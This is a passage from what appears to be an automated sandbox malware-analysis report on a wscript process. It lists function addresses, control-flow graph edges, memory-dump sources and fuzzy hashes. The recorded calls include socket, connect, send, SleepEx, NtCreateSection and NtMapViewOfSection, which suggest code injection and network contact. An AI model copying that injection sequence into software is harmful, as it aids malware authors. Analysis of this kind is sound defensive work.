371->373 373->290 390 2059409d371-2059409d386 call 205940a8108 373->390 374->368 374->373 401 2059409d2d9 376->401 402 2059409d31a-2059409d327 376->402 377->373 377->376 390->290 401->402 404 2059409d2db-2059409d2e0 401->404 402->373 404->402 407 2059409d2e2-2059409d318 404->407 409 2059409d0ad-2059409d0b6 405->409 410 2059409d11a-2059409d11f 405->410 406->405 407->401 407->402 413 2059409d0e2-2059409d0f7 409->413 414 2059409d0b8-2059409d0c1 409->414 410->346 413->342 418 2059409d0fd-2059409d105 413->418 416 2059409d0d3-2059409d0dc 414->416 417 2059409d0c3-2059409d0cc 414->417 416->413 419 2059409d185-2059409d18e 416->419 417->416 418->342 419->342
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7fe2ba96e3af019f017c154efd9a283958ba131460419f7b699dd14e1b253531
                                                                          • Instruction ID: 592c59380a9255d9baeb675d1b89cf76dc5be088af644a12de5b8be31884569a
                                                                          • Opcode Fuzzy Hash: 7fe2ba96e3af019f017c154efd9a283958ba131460419f7b699dd14e1b253531
                                                                          • Instruction Fuzzy Hash: EDA12C70918B5C8FDB68DF68949CAEEB7E0FB59305F10062DD59AC7183EB3498428E85
                                                                          Function 000002059409C98C Relevance: 1.8, APIs: 1, Instructions: 256COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 420 2059409c98c-2059409c991 421 2059409ca0e-2059409ca1b 420->421 422 2059409c993-2059409c995 420->422 423 2059409ca1d-2059409ca32 call 205940a8108 421->423 424 2059409ca37-2059409ca73 421->424 423->424 426 2059409ca93-2059409ca9b 424->426 427 2059409ca75-2059409ca79 424->427 429 2059409d3a3-2059409d3b2 426->429 430 2059409caa1-2059409caaa 426->430 427->426 428 2059409ca7b-2059409ca7f 427->428 428->426 431 2059409ca81-2059409ca85 428->431 430->429 432 2059409cab0-2059409cace 430->432 431->426 433 2059409ca87-2059409ca8b 431->433 434 2059409cadf-2059409cae3 432->434 435 2059409cad0-2059409cad8 432->435 433->426 438 2059409ca8d-2059409ca91 433->438 436 2059409cae5-2059409cae9 434->436 437 2059409caeb-2059409caec 434->437 435->434 436->437 439 2059409caf3-2059409cafc 436->439 437->439 438->426 438->430 440 2059409cafe-2059409cb02 439->440 441 2059409cb16-2059409cb1a 439->441 442 2059409cb24-2059409cb49 440->442 443 2059409cb04-2059409cb14 440->443 441->442 444 2059409cb1c-2059409cb1d 441->444 445 2059409cb51-2059409cb8b call 205940a4278 442->445 446 2059409cb4b-2059409cb4f 442->446 443->444 444->442 447 2059409cb91-2059409cb94 445->447 452 2059409d393-2059409d39c 445->452 446->445 446->447 450 2059409cc44-2059409cc51 447->450 451 2059409cb9a-2059409cba2 447->451 450->452 453 2059409cc57-2059409cc60 450->453 454 2059409cba4-2059409cbce call 205940972f8 call 205940a7db8 451->454 455 2059409cbd5-2059409cbe9 451->455 452->429 457 2059409cc7d-2059409cc8e 453->457 458 2059409cc62-2059409cc76 call 205940a41e8 453->458 454->455 455->452 456 2059409cbef-2059409cbf5 455->456 456->452 461 2059409cbfb-2059409cbfd 456->461 463 2059409cc90-2059409ccd9 call 205940a4468 457->463 464 2059409cce5-2059409cd11 457->464 458->457 461->452 467 2059409cc03-2059409cc05 461->467 463->464 477 2059409ccdb-2059409cce0 463->477 468 2059409cd13-2059409cd34 call 205940a8108 464->468 469 2059409cd36-2059409cd3a 464->469 467->452 473 2059409cc0b-2059409cc31 getaddrinfo 467->473 481 2059409cd85 call 205940a8108 468->481 475 2059409cd40-2059409cd44 469->475 476 2059409d38b-2059409d38c 469->476 473->450 478 2059409cc33-2059409cc3c 473->478 475->476 480 2059409cd4a-2059409cd4e 475->480 476->452 477->452 478->450 482 2059409cd50-2059409cd54 480->482 483 2059409cd56-2059409cd83 call 205940a8108 480->483 485 2059409cd8a-2059409ce3a call 205940a80d8 call 205940a4668 call 205940a5778 * 2 call 205940a80d8 call 205940a4c18 call 205940a82c8 481->485 482->483 482->485 483->481 502 2059409ce51-2059409ce7c 485->502 503 2059409ce3c-2059409ce40 485->503 505 2059409ce82-2059409ce86 502->505 506 2059409cf67-2059409cf8d call 2059409ed88 502->506 503->502 504 2059409ce42-2059409ce4e call 2059409e198 503->504 504->502 505->506 508 2059409ce8c-2059409cf65 call 205940a8558 * 3 call 205940a82c8 * 2 call 205940a5778 * 2 505->508 514 2059409cf8f-2059409cf93 506->514 515 2059409cfc9-2059409d003 call 205940a4518 506->515 508->514 518 2059409cf99-2059409cf9d 514->518 519 2059409d10a-2059409d116 call 205940a82c8 514->519 515->476 518->519 523 2059409cfa3-2059409cfc7 call 2059409edb8 518->523 528 2059409d191-2059409d1c6 call 20594097088 call 205940a43b8 519->528 529 2059409d118 519->529 523->515 531 2059409d008-2059409d08a call 205940a82c8 call 205940a80d8 call 205940a82c8 call 205940a4c18 call 205940a82c8 * 3 523->531 547 2059409d1f2-2059409d1f6 528->547 548 2059409d1c8-2059409d1de 528->548 532 2059409d122-2059409d180 call 20594097088 call 205940a94a8 call 205940a4518 529->532 591 2059409d0a7-2059409d0ab 531->591 592 2059409d08c-2059409d0a2 call 205940a82c8 call 205940a80d8 531->592 532->476 553 2059409d1f8-2059409d1fc 547->553 554 2059409d20a-2059409d221 547->554 548->547 551 2059409d1e0-2059409d1e4 548->551 551->547 557 2059409d1e6-2059409d1ed 551->557 559 2059409d331-2059409d36f call 205940a4518 553->559 560 2059409d202-2059409d204 553->560 562 2059409d23f-2059409d2d7 call 205940a8108 call 205940a80d8 554->562 563 2059409d223-2059409d239 554->563 557->559 559->476 576 2059409d371-2059409d386 call 205940a8108 559->576 560->554 560->559 587 2059409d2d9 562->587 588 2059409d31a-2059409d327 562->588 563->559 563->562 576->476 587->588 590 2059409d2db-2059409d2e0 587->590 588->559 590->588 593 2059409d2e2-2059409d318 590->593 595 2059409d0ad-2059409d0b6 591->595 596 2059409d11a-2059409d11f 591->596 592->591 593->587 593->588 599 2059409d0e2-2059409d0f7 595->599 600 2059409d0b8-2059409d0c1 595->600 596->532 599->528 604 2059409d0fd-2059409d105 599->604 602 2059409d0d3-2059409d0dc 600->602 603 2059409d0c3-2059409d0cc 600->603 602->599 605 2059409d185-2059409d18e 602->605 603->602 604->528 605->528
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 40cdf977c44a7592df23148013e3dc8addf2e23f5bafc41c413652cc65488b4c
                                                                          • Instruction ID: 82d3e879b902a24db8c7f094c51674ceb2a51163657e08e0e3537a9f5bdafb3f
                                                                          • Opcode Fuzzy Hash: 40cdf977c44a7592df23148013e3dc8addf2e23f5bafc41c413652cc65488b4c
                                                                          • Instruction Fuzzy Hash: E5913D70918B5CCBDB78DF58909CAEEB7E0FB59305F10062DD59AC7183EB3498428E85
                                                                          Function 000002059409B761 Relevance: 1.7, APIs: 1, Instructions: 162COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
                                                                          • Instruction ID: 112d72cab59446df6b0b11f44cefdd61a5344e1bb4ff997e5071456a4706be42
                                                                          • Opcode Fuzzy Hash: c6dd29ad9aacdc2860fb49854d899649d772ecc0fcfcd065333c638bb3e9719e
                                                                          • Instruction Fuzzy Hash: 4A514B32118B598FE7159A38D4997EBBBE0FF49320F050A6DD5958F193DB26C842CF81
                                                                          Function 007DFA83 Relevance: 1.7, APIs: 1, Instructions: 156COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 639 7dfa83-7dfa84 640 7dfa06-7dfa18 639->640 641 7dfa86-7dfaa9 639->641 650 7dfa1a-7dfa1b 640->650 651 7dfa35-7dfa4c 640->651 642 7dfaac 641->642 643 7dfab6-7dfae1 641->643 644 7dfaae-7dfab5 642->644 645 7dfae9 643->645 646 7dfae3-7dfae7 643->646 648 7dfb18-7dfb85 644->648 649 7dfab7-7dfad8 644->649 652 7dfaea-7dfaf2 645->652 653 7dfaf4-7dfaf8 645->653 646->645 661 7dfb88-7dfb94 SleepEx 648->661 654 7dfada-7dfae1 649->654 657 7dfa20-7dfa34 650->657 651->657 658 7dfa4e-7dfa81 651->658 652->653 653->654 655 7dfafa-7dfb16 653->655 654->645 654->646 655->648 657->651 658->644 662 7dfbd8-7dfc2d NtCreateSection 661->662 663 7dfb96-7dfb9a 661->663 666 7dfc2f-7dfc48 662->666 667 7dfbb5-7dfbbc 662->667 664 7dfb9c-7dfba9 call 7ecf08 663->664 665 7dfbae-7dfbb3 663->665 664->665 665->661 665->667 666->667 671 7dfc4e-7dfc8d NtMapViewOfSection 666->671 669 7dfbbe-7dfbd7 667->669 671->667 672 7dfc93-7dfcd1 NtMapViewOfSection 671->672 672->667 673 7dfcd7-7dfcef 672->673 673->669
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: f63af62f1751b0b519fcbc299e089d5a1f9f81eaae433f90fe2cb0afb1a0a3a2
                                                                          • Instruction ID: 8ad3795ef777caa372c5da787bb8765aea090b140fa60a67b6c63bf3ea055a29
                                                                          • Opcode Fuzzy Hash: f63af62f1751b0b519fcbc299e089d5a1f9f81eaae433f90fe2cb0afb1a0a3a2
                                                                          • Instruction Fuzzy Hash: A0418B72A196898FC316CB7894856D8BBB1EB8732471843FFC4929B642D7258847C7C0
                                                                          Function 000002059409C4B7 Relevance: 1.6, APIs: 1, Instructions: 72COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID:
                                                                          • API String ID: 3472027048-0
                                                                          • Opcode ID: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
                                                                          • Instruction ID: b4befc02b7db1dc5384a7f27dc8d61775f5be2d8b34fbd0701ad5d173243a8c4
                                                                          • Opcode Fuzzy Hash: e5d5344516f46b3e81ea50842ef477338357dbc782aafa192d6f0a2f948ed59a
                                                                          • Instruction Fuzzy Hash: 4021FF70618B6CCFEB95EB28809DBBE66D0F745700F44057EE64ADA1CBCA244C814EC5
                                                                          Function 00000205940A4461 Relevance: 1.6, APIs: 1, Instructions: 70networkCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 697 205940a4461-205940a4462 698 205940a4464 697->698 699 205940a4475 697->699 700 205940a4466-205940a4474 698->700 701 205940a44dc-205940a44df 698->701 702 205940a448f-205940a44b9 call 205940a0fc8 699->702 703 205940a4477-205940a448e 699->703 700->699 704 205940a44e5-205940a4508 connect 701->704 702->704 707 205940a44bb-205940a44d9 call 205940a76f8 702->707 703->702 707->701
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: connect
                                                                          • String ID:
                                                                          • API String ID: 1959786783-0
                                                                          • Opcode ID: e29e028722582de79358f5980929e9c38a26178390aea9578061670c9bd084c5
                                                                          • Instruction ID: 5f4060ffac049d25c496e219739552bf0bbd3ffea823d1b2c061729ab65ad566
                                                                          • Opcode Fuzzy Hash: e29e028722582de79358f5980929e9c38a26178390aea9578061670c9bd084c5
                                                                          • Instruction Fuzzy Hash: A021603090DB58CFDB99EF18908DB5A77E0FB68301F1401BEE94DCB29BDA3089558B95
                                                                          Function 00000205940A43B4 Relevance: 1.6, APIs: 1, Instructions: 69networkCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 709 205940a43b4-205940a4409 call 205940a0f38 712 205940a4435-205940a4460 send 709->712 713 205940a440b-205940a442f call 205940a76f8 709->713 713->712
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: send
                                                                          • String ID:
                                                                          • API String ID: 2809346765-0
                                                                          • Opcode ID: ba031a3d4cf1e373f283f661f470c724b29e80ce24db05dc12c25fbb2c07280e
                                                                          • Instruction ID: 72c304affbb5e2ef4f9c0da8b37a1c97d6847ba484f8df2d766aa3d30bb89b51
                                                                          • Opcode Fuzzy Hash: ba031a3d4cf1e373f283f661f470c724b29e80ce24db05dc12c25fbb2c07280e
                                                                          • Instruction Fuzzy Hash: F4115E3051CB488FDB58EF18908C65A77E1FB58310F04417EE84DCB28ADE3098458B96
                                                                          Function 00000205940A43B8 Relevance: 1.6, APIs: 1, Instructions: 67networkCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 716 205940a43b8-205940a43f8 717 205940a4401-205940a4409 716->717 718 205940a43fc call 205940a0f38 716->718 719 205940a4435-205940a4460 send 717->719 720 205940a440b-205940a442f call 205940a76f8 717->720 718->717 720->719
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: send
                                                                          • String ID:
                                                                          • API String ID: 2809346765-0
                                                                          • Opcode ID: e8e3d7a067b03c434503663eb127ccd6d451b0b3b81ac81c289fdb257fe9751a
                                                                          • Instruction ID: 033883b6e9e49add7fe9ce8db127b14336432cd0e2765d779fe75827fd25a27d
                                                                          • Opcode Fuzzy Hash: e8e3d7a067b03c434503663eb127ccd6d451b0b3b81ac81c289fdb257fe9751a
                                                                          • Instruction Fuzzy Hash: EA113D3051CB488FDB58EF1CA08DB5A77E1FB58300F0445BEE94DCB29ADE7098418B96
                                                                          Function 007DFB1D Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 723 7dfb1d-7dfb29 724 7dfb2b-7dfb36 723->724 725 7dfb01 723->725 726 7dfb80-7dfb85 724->726 727 7dfb13-7dfb1b 725->727 728 7dfb03-7dfb11 725->728 733 7dfb88-7dfb94 SleepEx 726->733 727->726 728->727 734 7dfbd8-7dfc2d NtCreateSection 733->734 735 7dfb96-7dfb9a 733->735 738 7dfc2f-7dfc48 734->738 739 7dfbb5-7dfbbc 734->739 736 7dfb9c-7dfba9 call 7ecf08 735->736 737 7dfbae-7dfbb3 735->737 736->737 737->733 737->739 738->739 743 7dfc4e-7dfc8d NtMapViewOfSection 738->743 741 7dfbbe-7dfbd7 739->741 743->739 744 7dfc93-7dfcd1 NtMapViewOfSection 743->744 744->739 745 7dfcd7-7dfcef 744->745 745->741
                                                                          APIs
                                                                          • SleepEx.KERNEL32(38C7E5F5,000000A3), ref: 007DFB8E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID:
                                                                          • API String ID: 3472027048-0
                                                                          • Opcode ID: 10e1e9b701606f0124b0771689eefceb40515bdf1aaf5f9278386f980045e2bb
                                                                          • Instruction ID: 3167bf72c970705172e495ecf0ea52ea24ee5d28269f2df26c0437a352b57d3a
                                                                          • Opcode Fuzzy Hash: 10e1e9b701606f0124b0771689eefceb40515bdf1aaf5f9278386f980045e2bb
                                                                          • Instruction Fuzzy Hash: 69115776509A888AD32B9F38D8662F9BB71FB87325F64017FC08246552D3259153C3C5
                                                                          Function 00000205940A4468 Relevance: 1.6, APIs: 1, Instructions: 65networkCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: connect
                                                                          • String ID:
                                                                          • API String ID: 1959786783-0
                                                                          • Opcode ID: 34151e30410d2779f1f7f1e159c89839c8de90b207896460fcbd9f5d62c290b6
                                                                          • Instruction ID: ef1851a6c799f30efc02b3a6521c6fd3f2957b1f4a2b16bae68fb5c3bdd0ccf7
                                                                          • Opcode Fuzzy Hash: 34151e30410d2779f1f7f1e159c89839c8de90b207896460fcbd9f5d62c290b6
                                                                          • Instruction Fuzzy Hash: 8B11213051CB088FDB98EF1CA08DA5A77E1FB58300F1445AEE94DCB29BDE7098418B95
                                                                          Function 00000205940A4278 Relevance: 1.6, APIs: 1, Instructions: 62networkCOMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: socket
                                                                          • String ID:
                                                                          • API String ID: 98920635-0
                                                                          • Opcode ID: fb6cdae6ea9feffed238224d72f1b94b95ff91679756e9f7d0b85e36bdd9b2df
                                                                          • Instruction ID: 40a8be0694679e80a1c9853c030a64354497a569c2df8f11d9ae6a3d6a087979
                                                                          • Opcode Fuzzy Hash: fb6cdae6ea9feffed238224d72f1b94b95ff91679756e9f7d0b85e36bdd9b2df
                                                                          • Instruction Fuzzy Hash: BB11303091CB488FDB48EF28908DA5AB7E1FB58300F0405BEE94DCB297DB709945CB96
                                                                          Function 007DFB3E Relevance: 1.6, APIs: 1, Instructions: 60COMMON
                                                                          Download Yara Rule

                                                                          Control-flow Graph

                                                                          • Executed
                                                                          • Not Executed
                                                                          control_flow_graph 762 7dfb3e-7dfb71 763 7dfb83-7dfb85 762->763 764 7dfb73-7dfb81 762->764 767 7dfb88-7dfb94 SleepEx 763->767 764->763 768 7dfbd8-7dfc2d NtCreateSection 767->768 769 7dfb96-7dfb9a 767->769 772 7dfc2f-7dfc48 768->772 773 7dfbb5-7dfbbc 768->773 770 7dfb9c-7dfba9 call 7ecf08 769->770 771 7dfbae-7dfbb3 769->771 770->771 771->767 771->773 772->773 777 7dfc4e-7dfc8d NtMapViewOfSection 772->777 775 7dfbbe-7dfbd7 773->775 777->773 778 7dfc93-7dfcd1 NtMapViewOfSection 777->778 778->773 779 7dfcd7-7dfcef 778->779 779->775
                                                                          APIs
                                                                          • SleepEx.KERNEL32(38C7E5F5,000000A3), ref: 007DFB8E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: Sleep
                                                                          • String ID:
                                                                          • API String ID: 3472027048-0
                                                                          • Opcode ID: 26b8d342742a942f3f10fee080c542171953fc59148f4b2c17e22cca1539cb05
                                                                          • Instruction ID: 984c35007632ff39e41577640bbab5d1c7d8781001a8786111888616a57097a0
                                                                          • Opcode Fuzzy Hash: 26b8d342742a942f3f10fee080c542171953fc59148f4b2c17e22cca1539cb05
                                                                          • Instruction Fuzzy Hash: BB11AF325287448FD72A5F24D4522F877B1FB55330F2006AFC08197281DB3AC047C381
                                                                          Function 000002059409B87E Relevance: 1.6, APIs: 1, Instructions: 57threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: CreateThread
                                                                          • String ID:
                                                                          • API String ID: 2422867632-0
                                                                          • Opcode ID: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
                                                                          • Instruction ID: 17558e3bca3c698c7594bb6d0cfd6f779939ea475df754295fcc9920a911f287
                                                                          • Opcode Fuzzy Hash: 8753b0ec0e1895fe7b64e0b8d5929eea9c437e27af0331dd583a33202b4251b6
                                                                          • Instruction Fuzzy Hash: D011C230124B488BEB45AF28C48E79BB3E1FB48314F044529D965CF296DB78C8428F91
                                                                          Function 000002059409B888 Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: CreateThread
                                                                          • String ID:
                                                                          • API String ID: 2422867632-0
                                                                          • Opcode ID: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
                                                                          • Instruction ID: e57a61989a7518618ed7abfc8dcdef638227f3e6740b90020480e9050b0e4165
                                                                          • Opcode Fuzzy Hash: 1e4df429d26f78e91e6556a3025b62049a28ce1a09f8d99d8591f285986e6a9c
                                                                          • Instruction Fuzzy Hash: 3011A170214B098BEB45EF28C48DBABB7E1FB88314F05457DD569CB296CB79C8418F91
                                                                          Function 00000205940A426D Relevance: 1.5, APIs: 1, Instructions: 42networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID: socket
                                                                          • String ID:
                                                                          • API String ID: 98920635-0
                                                                          • Opcode ID: 0a3178ebc698cf8a4f22abbfe3a156b37a5af2d2dc4df1d464aba0233826fa3c
                                                                          • Instruction ID: ee5125debb098815c51624c8a7d91148832a1f1f7d13214b69f43d72600d580d
                                                                          • Opcode Fuzzy Hash: 0a3178ebc698cf8a4f22abbfe3a156b37a5af2d2dc4df1d464aba0233826fa3c
                                                                          • Instruction Fuzzy Hash: A3018F3051CB588FDB55EF18908DB8AB3E0FB98300F44017DE98ECB247DB2098458B91

                                                                          Non-executed Functions

                                                                          Function 00000205940AC224 Relevance: .6, Instructions: 573COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 78e32bb081a54d25d10cc2e8d26a26326b047f3cae17d704b2fbe8752b3dde9b
                                                                          • Instruction ID: b2fa5832ae9b0032406561dd096a4dbf9928a0ae1c1e5a34b562ceb95daa8ca4
                                                                          • Opcode Fuzzy Hash: 78e32bb081a54d25d10cc2e8d26a26326b047f3cae17d704b2fbe8752b3dde9b
                                                                          • Instruction Fuzzy Hash: 2732376644E7C29FD7538B7488796917FB0AF13228B5E45DFC0C08F4A3E22D585ACB62
                                                                          Function 007F1024 Relevance: .6, Instructions: 573COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 78e32bb081a54d25d10cc2e8d26a26326b047f3cae17d704b2fbe8752b3dde9b
                                                                          • Instruction ID: 6bc0b74d1552f909304fa20163b31f1b9ab239b9690e7fb3ea092d88702ae689
                                                                          • Opcode Fuzzy Hash: 78e32bb081a54d25d10cc2e8d26a26326b047f3cae17d704b2fbe8752b3dde9b
                                                                          • Instruction Fuzzy Hash: 6A32387648E3C29FD7138B7498655A17FB0AE13229B5E85DFC0C0CF4A3E22D595AC722
                                                                          Function 00000205940A46B8 Relevance: .5, Instructions: 513COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
                                                                          • Instruction ID: ad125bff562b5cc481372dd13c89b59daed891b3646d1407fcf26b9c564ba417
                                                                          • Opcode Fuzzy Hash: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
                                                                          • Instruction Fuzzy Hash: D1E10472BA86404BC71CDE18ECC66B973DAE7CA309F59943CE4C7C7247DA29D5038949
                                                                          Function 007E94B8 Relevance: .5, Instructions: 513COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2127945024.00000000005D0000.00000040.80000000.00040000.00000000.sdmp, Offset: 005D0000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_5d0000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
                                                                          • Instruction ID: 713e2410d281c6a2c96a8599fdbadb06ec076d1662490746886514b62834c1a1
                                                                          • Opcode Fuzzy Hash: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
                                                                          • Instruction Fuzzy Hash: 97E1F472BA86404BC70CDE18ECC26B973DAE7CA30AF59943DE4C7C7247DA29D5038949
                                                                          Function 00000205940A55EC Relevance: .2, Instructions: 161COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2130411229.0000020594070000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000020594070000, based on PE: false
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_20594070000_wscript.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: 37defaca62f9879e99dcf17c77c3bb781ac97dfb1e05a4ac65b9cb65b86c0579
                                                                          • Instruction ID: 5a32563389841e660d0fbc352b87ece0559f352e1ca4e087cc2bd53051a7e948
                                                                          • Opcode Fuzzy Hash: 37defaca62f9879e99dcf17c77c3bb781ac97dfb1e05a4ac65b9cb65b86c0579
                                                                          • Instruction Fuzzy Hash: B041CC71B187588BD75CDA2C949962A77D2F7CC344F18463DFA8BC7382D924DD028B86
                                                                          Function 007EA3EC Relevance: .2, Instructions: 161COMMON
                                                                          Download Yara Rule
                                                                          Memory Dump Source
